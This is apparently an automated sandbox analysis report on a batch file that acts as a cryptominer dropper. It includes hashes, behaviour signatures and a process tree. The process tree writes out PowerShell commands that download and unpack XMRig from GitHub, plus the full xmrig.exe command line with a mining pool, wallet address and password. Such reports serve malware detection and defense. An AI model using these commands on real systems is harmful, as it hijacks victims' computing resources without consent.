Analysis

  • max time kernel
    1806s
  • max time network
    1829s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    26/12/2023, 09:06

General

  • Target

    tesy - Copy (9).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (9).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5008
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4644
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4648
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:2908

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    c1021daf535a6dbdff2528b6f8a1f347

    SHA1

    2de6aa524a1ed31d25faef58b55822e3db075032

    SHA256

    7391cf9f7902c973e4dd51cf57816779a965e9b1bc23d7f165e38c58706a1f50

    SHA512

    eda1fba3e82b618dd6f03d13f6db648421edb1b586a43d2ed7cd3f244de6e4b0bf4ca8f5dae42516a48c8071a68a0fbd350514a141a2e19bb9511d1d97662a2c

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kbqba3kn.nyz.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    145KB

    MD5

    18975673e878a7985e14767a20fb3ef6

    SHA1

    a63a53fe478d95de1f4975101ba73c81ba77dcb3

    SHA256

    e44dd3e816a51fb0b9b4e56f67dd7fa668522254bedc8e51ac727e574c5a7ab6

    SHA512

    971a764ab9c24b45e54d2be60ec923448567e5b95a56bcec60c533bd594b9ca90d8df33bbb450f51986de9734c94c2bfa300b6f608d18e9dcff0a5634c38d00c

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    355KB

    MD5

    72a936393127046b83dfb7ef5e54a1b4

    SHA1

    e837c9a0803b2b8a9e1ab7a48e24fb8d58628e76

    SHA256

    e4696a42adb2285cc7e1b67ae76eea543a8e0c03865da298951ea20c184ec74b

    SHA512

    35dcc9b35f5f8c1d8987ccf57a66e39fa96218e8e27cdc16988f132c7682bab6f32b811e69c56bb3b27db124c3cac4cb682d9d8e991f6a1569da6761007ae7c0

  • memory/2908-142-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-170-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-184-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-183-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-182-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-181-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-180-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-179-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-178-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-177-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-176-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-175-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-174-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-116-0x0000018F1FEB0000-0x0000018F1FED0000-memory.dmp

    Filesize

    128KB

  • memory/2908-117-0x0000018F216B0000-0x0000018F216F0000-memory.dmp

    Filesize

    256KB

  • memory/2908-118-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-119-0x0000018F216F0000-0x0000018F21710000-memory.dmp

    Filesize

    128KB

  • memory/2908-120-0x0000018F21710000-0x0000018F21730000-memory.dmp

    Filesize

    128KB

  • memory/2908-121-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-122-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-124-0x0000018F216F0000-0x0000018F21710000-memory.dmp

    Filesize

    128KB

  • memory/2908-125-0x0000018F21710000-0x0000018F21730000-memory.dmp

    Filesize

    128KB

  • memory/2908-123-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-126-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-127-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-128-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-129-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-130-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-131-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-132-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-133-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-134-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-135-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-136-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-137-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-138-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-139-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-140-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-141-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-173-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-172-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-145-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-143-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-146-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-147-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-148-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-149-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-150-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-151-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-152-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-153-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-154-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-155-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-156-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-157-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-158-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-159-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-160-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-161-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-162-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-163-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-164-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-165-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-166-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-167-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-168-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-169-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-144-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/2908-171-0x00007FF773D50000-0x00007FF774853000-memory.dmp

    Filesize

    11.0MB

  • memory/4644-30-0x00007FFFC9DE0000-0x00007FFFCA7CC000-memory.dmp

    Filesize

    9.9MB

  • memory/4644-4-0x000002ACECDC0000-0x000002ACECDE2000-memory.dmp

    Filesize

    136KB

  • memory/4644-6-0x000002ACEAEC0000-0x000002ACEAED0000-memory.dmp

    Filesize

    64KB

  • memory/4644-7-0x000002ACEAEC0000-0x000002ACEAED0000-memory.dmp

    Filesize

    64KB

  • memory/4644-10-0x000002ACECF70000-0x000002ACECFE6000-memory.dmp

    Filesize

    472KB

  • memory/4644-5-0x00007FFFC9DE0000-0x00007FFFCA7CC000-memory.dmp

    Filesize

    9.9MB

  • memory/4644-25-0x000002ACEAEC0000-0x000002ACEAED0000-memory.dmp

    Filesize

    64KB

  • memory/4648-76-0x0000022266590000-0x00000222665A2000-memory.dmp

    Filesize

    72KB

  • memory/4648-40-0x000002224C530000-0x000002224C540000-memory.dmp

    Filesize

    64KB

  • memory/4648-38-0x000002224C530000-0x000002224C540000-memory.dmp

    Filesize

    64KB

  • memory/4648-62-0x000002224C530000-0x000002224C540000-memory.dmp

    Filesize

    64KB

  • memory/4648-37-0x00007FFFC9DE0000-0x00007FFFCA7CC000-memory.dmp

    Filesize

    9.9MB

  • memory/4648-89-0x000002224E1F0000-0x000002224E1FA000-memory.dmp

    Filesize

    40KB

  • memory/4648-113-0x00007FFFC9DE0000-0x00007FFFCA7CC000-memory.dmp

    Filesize

    9.9MB